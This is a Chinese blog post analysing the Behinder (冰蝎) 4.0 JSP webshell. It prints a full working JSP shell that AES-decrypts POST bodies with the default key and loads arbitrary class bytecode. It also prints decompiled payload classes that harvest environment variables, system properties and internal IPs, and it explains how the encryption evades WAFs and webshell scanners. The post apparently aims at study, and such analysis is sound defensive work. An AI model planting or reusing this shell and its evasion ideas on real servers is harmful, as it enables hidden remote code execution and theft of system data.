当前位置:   article > 正文

冰蝎4.0jsp木马浅析_冰蝎 jsp马利用

冰蝎 jsp马利用

前言

这里简单学习一下冰蝎是怎么运行的,如何通过加密解密来绕过一些常见的waf设备

工作流程

  1. 冰蝎准备一个经过加密的字节码,放入请求体中

  2. 服务端通过jsp中的密钥解密,然后调用equals方法,来获取此次执行的结果

  3. 将获取到的结果通过设置的密钥加密,返回给客户端

  4. 客户端通过密钥解密

由此可以知道密钥在流程中非常的重要,冰蝎的默认的密码为rebeyond,其加密之后得到的前16位密钥为e45e329feb5d925b

通过以下代码可以获取

  1. import org.springframework.util.DigestUtils;
  2. import java.security.NoSuchAlgorithmException;
  3. public class GenerateKey {
  4.     public static void main(String[] args) throws NoSuchAlgorithmException {
  5.         String key = "rebeyond";
  6.         System.out.println(getMd5Key(key).substring(016));
  7.     }
  8.     public static String getMd5Key(String key){
  9.         String md5Key = DigestUtils.md5DigestAsHex(key.getBytes());
  10.         return md5Key;
  11.     }
  12. }

这里使用的jsp木马如下

我这里做了一些便于学习的东西,将冰蝎发送过来的字节码保存成类文件,更直观一点

  1. <%@ page contentType="text/html;charset=UTF-8" language="java" %>
  2. <%@ page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
  3. <%@ page import="java.io.FileOutputStream" %>
  4. <%!
  5.     //自定义类加载器
  6.     class U extends ClassLoader{
  7.         U(ClassLoader c){
  8.             super(c);
  9.         }
  10.         public Class g(byte []b)
  11.         {
  12.             //调用父类defineClass方法
  13.             return super.defineClass(b,0,b.length);
  14.         }
  15.     }
  16. %>
  17. <%
  18.     if (request.getMethod().equals("POST")){
  19.         String k="e45e329feb5d925b";
  20.         session.putValue("u",k);
  21.         Cipher c=Cipher.getInstance("AES");
  22.         c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
  23. //        获取客户端数据
  24.         String line = request.getReader().readLine();
  25. //        base64解码客户端数据
  26.         byte[] b = new sun.misc.BASE64Decoder().decodeBuffer(line);
  27. //        AES解密
  28.         byte[] b1 = c.doFinal(b);
  29. //        调用父类defineClass方法,将传入数据还原为Class对象
  30. //这里的路径需要修改成你需要保存的路径
  31.         FileOutputStream fo = new FileOutputStream("D:\\Java_Study_Thingsobj2.class");
  32.         fo.write(b1);
  33.         U u = new U(this.getClass().getClassLoader());
  34.         Class clazz = u.g(b1);
  35. //        实例化对象将输出写入pageContext
  36. //        客户端传入的字节码指向的类中重写了equals方法传入pageContext对象,通过pageContext对象
  37. //        可以间接操作response,将执行结果写入response返回给客户端
  38.         clazz.newInstance().equals(pageContext);
  39. //        new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
  40.     }
  41. %>

这个jsp的木马也比较好理解,将密钥作为标识符设置到session中,然后判断是否为POST请求,如果是的话先获取客户端的请求体数据,然后先解码base64,然后解密获取class字节码数据,调用方法g来实例化对象,然后调用equals

代码分析

当点击shell列表中的shell时,会触发一系列的方法,这里涉及到javafx的东西,不在文章中简述

图片

从doConnect开始跟进

图片

Utils.getRandomString(randStringLength)是用来构造一段特殊的字符串,后续会有使用

进入echo,带入生成的字符串

图片

进入Utils.getData

图片

进入Params.getParamedClass

图片

getTransProtocoledClass

图片

在之前传入的Echo,在这里组合成net.rebeyond.behinder.payload.java.Echo,就是冰蝎在第一次运行的时候需要请求信息,那么每次发送的payload都需要编译的话速度会非常慢,所以作者使用操作字节码的方式来发送payload

  1. 首先获取Echo的CtClass对象

  2. 修改类名

  3. 移除Encrypt方法

  4. 创建Encrypt方法

返回Echo的字节码

然后进入到getParamedClass方法中

图片

在这里使用了做了以下的操作:

  1. 修改类名,随机命名

  2. 使用观察者模式来操作字节码,遇到其实就是无参构造方法的时候,进行操作,具体是啥这里先不解释

回到Utils,进入cryptor.encrypt

图片

this.getEncodeCls();

这个方法,创建了一个名为test的类,类中包含默认的加密方法,以便于下面的字节码操作

通过反射获取Encrypt方法,利用这个方法加密前面获取Echo类的字节码

回到ShellService类

图片

下面就是把加密的字节码发送到服务器去解析了

进入doRequestAndParse

图片

一直跟进

图片

前面就是在添加header头,然后发送数据包

图片

然后看服务器上

  1. //
  2. // Source code recreated from a .class file by IntelliJ IDEA
  3. // (powered by FernFlower decompiler)
  4. //
  5. package net.ozfvwj.qjxyz;
  6. import java.lang.reflect.Method;
  7. import java.util.Iterator;
  8. import java.util.LinkedHashMap;
  9. import java.util.Map;
  10. import java.util.Random;
  11. import javax.crypto.Cipher;
  12. import javax.crypto.spec.SecretKeySpec;
  13. public class Vlfq {
  14.     public static String content;
  15.     public static String payloadBody;
  16.     private Object Request;
  17.     private Object Response;
  18.     private Object Session;
  19.     public Vlfq() {
  20.         content = "";
  21.         content = content + "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";
  22.         super();
  23.     }
  24.     public boolean equals(Object obj) {
  25.         LinkedHashMap result = new LinkedHashMap();
  26.         boolean var13 = false;
  27.         Object so;
  28.         Method write;
  29.         label95: {
  30.             try {
  31.                 var13 = true;
  32.                 this.fillContext(obj);
  33.                 result.put("status""success");
  34.                 result.put("msg"content);
  35.                 var13 = false;
  36.                 break label95;
  37.             } catch (Exception var19) {
  38.                 result.put("msg", var19.getMessage());
  39.                 result.put("status""success");
  40.                 var13 = false;
  41.             } finally {
  42.                 if (var13) {
  43.                     try {
  44.                         so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  45.                         write = so.getClass().getMethod("write", byte[].class);
  46.                         System.out.println("this.buildJson(result, true) " + this.buildJson(result, true));
  47.                         write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
  48.                         so.getClass().getMethod("flush").invoke(so);
  49.                         so.getClass().getMethod("close").invoke(so);
  50.                     } catch (Exception var16) {
  51.                         var16.printStackTrace();
  52.                     }
  53.                 }
  54.             }
  55.             try {
  56.                 so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  57.                 write = so.getClass().getMethod("write", byte[].class);
  58.                 System.out.println("this.buildJson(result, true)2 " + this.buildJson(result, true));
  59.                 write.invoke(so, this.Encrypt(this.buildJson(result, false).getBytes("UTF-8")));
  60.                 so.getClass().getMethod("flush").invoke(so);
  61.                 so.getClass().getMethod("close").invoke(so);
  62.             } catch (Exception var17) {
  63.                 var17.printStackTrace();
  64.             }
  65.             return true;
  66.         }
  67.         try {
  68.             so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  69.             write = so.getClass().getMethod("write", byte[].class);
  70.             write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
  71.             so.getClass().getMethod("flush").invoke(so);
  72.             so.getClass().getMethod("close").invoke(so);
  73.         } catch (Exception var18) {
  74.             var18.printStackTrace();
  75.         }
  76.         return true;
  77.     }
  78.     private String buildJson(Map entity, boolean encode) throws Exception {
  79.         StringBuilder sb = new StringBuilder();
  80.         String version = System.getProperty("java.version");
  81.         sb.append("{");
  82.         Iterator var5 = entity.keySet().iterator();
  83.         while(var5.hasNext()) {
  84.             String key = (String)var5.next();
  85.             sb.append("\"" + key + "\":\"");
  86.             String value = (String)entity.get(key);
  87.             if (encode) {
  88.                 value = this.base64encode(value.getBytes());
  89.             }
  90.             sb.append(value);
  91.             sb.append("\",");
  92.         }
  93.         if (sb.toString().endsWith(",")) {
  94.             sb.setLength(sb.length() - 1);
  95.         }
  96.         sb.append("}");
  97.         return sb.toString();
  98.     }
  99.     private void fillContext(Object obj) throws Exception {
  100.         if (obj.getClass().getName().indexOf("PageContext">= 0) {
  101.             this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
  102.             this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
  103.             this.Session = obj.getClass().getMethod("getSession").invoke(obj);
  104.         } else {
  105.             Map objMap = (Map)obj;
  106.             this.Session = objMap.get("session");
  107.             this.Response = objMap.get("response");
  108.             this.Request = objMap.get("request");
  109.         }
  110.         this.Response.getClass().getMethod("setCharacterEncoding"String.class).invoke(this.Response, "UTF-8");
  111.     }
  112.     private String base64encode(byte[] data) throws Exception {
  113.         String result = "";
  114.         String version = System.getProperty("java.version");
  115.         Class Base64;
  116.         try {
  117.             this.getClass();
  118.             Base64 = Class.forName("java.util.Base64");
  119.             Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
  120.             result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
  121.         } catch (Throwable var7) {
  122.             this.getClass();
  123.             Base64 = Class.forName("sun.misc.BASE64Encoder");
  124.             Object Encoder = Base64.newInstance();
  125.             result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
  126.             result = result.replace("\n""").replace("\r""");
  127.         }
  128.         return result;
  129.     }
  130.     private byte[] getMagic() throws Exception {
  131.         String key = this.Session.getClass().getMethod("getAttribute"String.class).invoke(this.Session, "u").toString();
  132.         int magicNum = Integer.parseInt(key.substring(02), 16) % 16;
  133.         Random random = new Random();
  134.         byte[] buf = new byte[magicNum];
  135.         for(int i = 0; i < buf.length++i) {
  136.             buf[i] = (byte)random.nextInt(256);
  137.         }
  138.         return buf;
  139.     }
  140.     private byte[] Encrypt(byte[] var1) throws Exception {
  141.         String var2 = "e45e329feb5d925b";
  142.         byte[] var3 = var2.getBytes("utf-8");
  143.         SecretKeySpec var4 = new SecretKeySpec(var3"AES");
  144.         Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
  145.         var5.init(1, var4);
  146.         byte[] var6 = var5.doFinal(var1);
  147.         Class var7;
  148.         try {
  149.             var7 = Class.forName("java.util.Base64");
  150.             Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
  151.             var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
  152.         } catch (Throwable var12) {
  153.             var7 = Class.forName("sun.misc.BASE64Encoder");
  154.             Object var10 = var7.newInstance();
  155.             String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
  156.             var11 = var11.replace("\n""").replace("\r""");
  157.             var6 = var11.getBytes();
  158.         }
  159.         return var6;
  160.     }
  161. }

在服务器端的jsp木马调用的equals方法,来具体看看这一步做了什么

  1. 调用fillContext方法,来初始化request和response以及一些后续需要用到的参数,这就是为啥会选择equals的方法了,传入的obj对象里面都包含需要用到的对象

  2. 获取response的write输出流,然后获取服务器的java版本,似乎没有用到这个版本信息,然后对result进行json处理

  3. 通过默认的e45e329feb5d925b作为aes的加密key来加密保存了信息的map

  4. 然后在对aes加密的内容做一个base64的编码

    图片

解码之后

图片

发现这和发送的二进制流类字节码的代码中的content参数一致

然后我们发现在二进制流类中的构造方法

图片

其实就对应了getParamedClass方法中对构造方法的操作

然后回到本地

图片

这里就在处理一些服务器返回的信息,将response的headers赋值到resheaders中,然后进行迭代

将body里面的加密内容和data做一个map赋值到result中,服务器返回的数据里面是没有data这个东西的,这里需要注意一下,然后将返回的状态码和status以及返回包头和header做map处理,最后将result赋值给var22,返回var22

然后回到requestAndParse

图片

取出data信息,就是返回包中的body信息,赋值到resultObj中,返回resultObj

回到shellService

图片

取出header,然后手动创建一个status和msg的json字符串,为了后面与接受的比较,后续就是在做一个解密的操作了

回到doConnect方法

进行判断,返回的msg字符串是否和本地生成的一样

图片

图片

回到MainWindowController,在这里继续生成随机长度的字符串

然后继续进入getBasicInfo

图片

进入parseCommonAction,在这里使用了BasicInfo这个类

图片

进入getData

图片

发现和上一步的类似,也是返回对应类的class字节码,对其加密,就不继续分析了,直接快进到doRequestAndParse发送请求

服务器接受到的类

  1. //
  2. // Source code recreated from a .class file by IntelliJ IDEA
  3. // (powered by FernFlower decompiler)
  4. //
  5. package sun.wspc;
  6. import java.io.File;
  7. import java.lang.reflect.Method;
  8. import java.net.Inet4Address;
  9. import java.net.InetAddress;
  10. import java.net.NetworkInterface;
  11. import java.util.Enumeration;
  12. import java.util.HashMap;
  13. import java.util.Iterator;
  14. import java.util.Map;
  15. import java.util.Properties;
  16. import java.util.Random;
  17. import java.util.Set;
  18. import javax.crypto.Cipher;
  19. import javax.crypto.spec.SecretKeySpec;
  20. public class Vmwqtmzls {
  21.     public static String whatever;
  22.     private Object Request;
  23.     private Object Response;
  24.     private Object Session;
  25.     public Vmwqtmzls() {
  26.         whatever = "";
  27.         whatever = whatever + "ZsnyxT8sz3FMo5E8XM4RfHFzLq39XYdmZX5WDW7zgQ5fLqUi95uMmfs4TabnTXnDZvbgCfb5dciOhQq13Dy5iGrDyVmY2SN2Yjo2MWzobJYAizHufR0sYn8eyYNSxpb13kL0oMw76OitnJysDHVIVuRuCtWhFa8MIhWGcU36piB9YIB5nqg2VXLmIYi6lUmK90MxtdL3ZShmXLyJjFNgMRyZ6SQ6kddwyYM5WK7RAbRzXkYsT017hB5nAXyACWWkHgIUexmoKlcjNBbj1qEIyj2MqNB2KCa";
  28.         super();
  29.     }
  30.     public boolean equals(Object obj) {
  31.         HashMap result = new HashMap();
  32.         boolean var22 = false;
  33.         Object so;
  34.         Method write;
  35.         label147: {
  36.             try {
  37.                 var22 = true;
  38.                 this.fillContext(obj);
  39.                 StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");
  40.                 Map env = System.getenv();
  41.                 Iterator var5 = env.keySet().iterator();
  42.                 while(var5.hasNext()) {
  43.                     String name = (String)var5.next();
  44.                     basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
  45.                 }
  46.                 basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>");
  47.                 Properties props = System.getProperties();
  48.                 Set entrySet = props.entrySet();
  49.                 Iterator var7 = entrySet.iterator();
  50.                 while(var7.hasNext()) {
  51.                     Map.Entry entry = (Map.Entry)var7.next();
  52.                     basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
  53.                 }
  54.                 String currentPath = (new File("")).getAbsolutePath();
  55.                 String driveList = "";
  56.                 File[] roots = File.listRoots();
  57.                 File[] var10 = roots;
  58.                 int var11 = roots.length;
  59.                 for(int var12 = 0; var12 < var11++var12) {
  60.                     File f = var10[var12];
  61.                     driveList = driveList + f.getPath() + ";";
  62.                 }
  63.                 String osInfo = System.getProperty("os.name"+ System.getProperty("os.version"+ System.getProperty("os.arch");
  64.                 Map entity = new HashMap();
  65.                 entity.put("basicInfo", basicInfo.toString());
  66.                 entity.put("currentPath", currentPath);
  67.                 entity.put("driveList", driveList);
  68.                 entity.put("osInfo", osInfo);
  69.                 entity.put("arch", System.getProperty("os.arch"));
  70.                 entity.put("localIp", this.getInnerIp());
  71.                 result.put("status""success");
  72.                 result.put("msg", this.buildJson(entity, true));
  73.                 var22 = false;
  74.                 break label147;
  75.             } catch (Exception var32) {
  76.                 var22 = false;
  77.             } finally {
  78.                 if (var22) {
  79.                     try {
  80.                         so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  81.                         write = so.getClass().getMethod("write", byte[].class);
  82.                         write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
  83.                         so.getClass().getMethod("flush").invoke(so);
  84.                         so.getClass().getMethod("close").invoke(so);
  85.                     } catch (Exception var30) {
  86.                     }
  87.                 }
  88.             }
  89.             try {
  90.                 so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  91.                 write = so.getClass().getMethod("write", byte[].class);
  92.                 write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
  93.                 so.getClass().getMethod("flush").invoke(so);
  94.                 so.getClass().getMethod("close").invoke(so);
  95.             } catch (Exception var29) {
  96.             }
  97.             return true;
  98.         }
  99.         try {
  100.             so = this.Response.getClass().getMethod("getOutputStream").invoke(this.Response);
  101.             write = so.getClass().getMethod("write", byte[].class);
  102.             write.invoke(so, this.Encrypt(this.buildJson(result, true).getBytes("UTF-8")));
  103.             so.getClass().getMethod("flush").invoke(so);
  104.             so.getClass().getMethod("close").invoke(so);
  105.         } catch (Exception var31) {
  106.         }
  107.         return true;
  108.     }
  109.     private String getInnerIp() {
  110.         String ips = "";
  111.         try {
  112.             Enumeration netInterfaces = NetworkInterface.getNetworkInterfaces();
  113.             InetAddress ip = null;
  114.             while(netInterfaces.hasMoreElements()) {
  115.                 NetworkInterface netInterface = (NetworkInterface)netInterfaces.nextElement();
  116.                 Enumeration addresses = netInterface.getInetAddresses();
  117.                 while(addresses.hasMoreElements()) {
  118.                     ip = (InetAddress)addresses.nextElement();
  119.                     if (ip != null && ip instanceof Inet4Address) {
  120.                         ips = ips + ip.getHostAddress() + " ";
  121.                     }
  122.                 }
  123.             }
  124.         } catch (Exception var6) {
  125.         }
  126.         ips = ips.replace("127.0.0.1""").trim();
  127.         return ips;
  128.     }
  129.     private String buildJson(Map entity, boolean encode) throws Exception {
  130.         StringBuilder sb = new StringBuilder();
  131.         String version = System.getProperty("java.version");
  132.         sb.append("{");
  133.         Iterator var5 = entity.keySet().iterator();
  134.         while(var5.hasNext()) {
  135.             String key = (String)var5.next();
  136.             sb.append("\"" + key + "\":\"");
  137.             String value = ((String)entity.get(key)).toString();
  138.             if (encode) {
  139.                 Class Base64;
  140.                 Object Encoder;
  141.                 if (version.compareTo("1.9") >= 0) {
  142.                     this.getClass();
  143.                     Base64 = Class.forName("java.util.Base64");
  144.                     Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
  145.                     value = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
  146.                 } else {
  147.                     this.getClass();
  148.                     Base64 = Class.forName("sun.misc.BASE64Encoder");
  149.                     Encoder = Base64.newInstance();
  150.                     value = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, value.getBytes("UTF-8"));
  151.                     value = value.replace("\n", "").replace("\r", "");
  152.                 }
  153.             }
  154.             sb.append(value);
  155.             sb.append("\",");
  156.         }
  157.         sb.setLength(sb.length() - 1);
  158.         sb.append("}");
  159.         return sb.toString();
  160.     }
  161.     private String base64encode(byte[] data) throws Exception {
  162.         String result = "";
  163.         String version = System.getProperty("java.version");
  164.         Class Base64;
  165.         try {
  166.             this.getClass();
  167.             Base64 = Class.forName("java.util.Base64");
  168.             Object Encoder = Base64.getMethod("getEncoder", (Class[])null).invoke(Base64, (Object[])null);
  169.             result = (String)Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data);
  170.         } catch (Throwable var7) {
  171.             this.getClass();
  172.             Base64 = Class.forName("sun.misc.BASE64Encoder");
  173.             Object Encoder = Base64.newInstance();
  174.             result = (String)Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, data);
  175.             result = result.replace("\n""").replace("\r""");
  176.         }
  177.         return result;
  178.     }
  179.     private void fillContext(Object obj) throws Exception {
  180.         if (obj.getClass().getName().indexOf("PageContext">= 0) {
  181.             this.Request = obj.getClass().getMethod("getRequest").invoke(obj);
  182.             this.Response = obj.getClass().getMethod("getResponse").invoke(obj);
  183.             this.Session = obj.getClass().getMethod("getSession").invoke(obj);
  184.         } else {
  185.             Map objMap = (Map)obj;
  186.             this.Session = objMap.get("session");
  187.             this.Response = objMap.get("response");
  188.             this.Request = objMap.get("request");
  189.         }
  190.         this.Response.getClass().getMethod("setCharacterEncoding"String.class).invoke(this.Response, "UTF-8");
  191.     }
  192.     private byte[] getMagic() throws Exception {
  193.         String key = this.Session.getClass().getMethod("getAttribute"String.class).invoke(this.Session, "u").toString();
  194.         int magicNum = Integer.parseInt(key.substring(02), 16) % 16;
  195.         Random random = new Random();
  196.         byte[] buf = new byte[magicNum];
  197.         for(int i = 0; i < buf.length++i) {
  198.             buf[i] = (byte)random.nextInt(256);
  199.         }
  200.         return buf;
  201.     }
  202.     private byte[] Encrypt(byte[] var1) throws Exception {
  203.         String var2 = "e45e329feb5d925b";
  204.         byte[] var3 = var2.getBytes("utf-8");
  205.         SecretKeySpec var4 = new SecretKeySpec(var3"AES");
  206.         Cipher var5 = Cipher.getInstance("AES/ECB/PKCS5Padding");
  207.         var5.init(1, var4);
  208.         byte[] var6 = var5.doFinal(var1);
  209.         Class var7;
  210.         try {
  211.             var7 = Class.forName("java.util.Base64");
  212.             Object var8 = var7.getMethod("getEncoder", (Class[])null).invoke(var7, (Object[])null);
  213.             var6 = (byte[])var8.getClass().getMethod("encode", byte[].class).invoke(var8, var6);
  214.         } catch (Throwable var12) {
  215.             var7 = Class.forName("sun.misc.BASE64Encoder");
  216.             Object var10 = var7.newInstance();
  217.             String var11 = (String)var10.getClass().getMethod("encode", byte[].class).invoke(var10, var6);
  218.             var11 = var11.replace("\n""").replace("\r""");
  219.             var6 = var11.getBytes();
  220.         }
  221.         return var6;
  222.     }
  223. }

可以看见这里获取了环境变量以及jar系统信息

图片

图片

在这里也是同样的,处理返回的信息

这里不一样的地方就是在于返回的basicInfoObj对象,需要设置到gui窗口中

总结

在看完了冰蝎是怎么连接之后,对于冰蝎的工作原理也有了一定的理解,本地和服务器端都做加密和解密的操作,以此来绕过流量检测设备以及一些waf,而且通过动态的加载class字节码,也可以绕过一些普通的webshell查杀设备,后续的一些绕过,可以在加密方式以及特征值的修改上入手

参考链接

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/393366
推荐阅读
相关标签
  

闽ICP备14008679号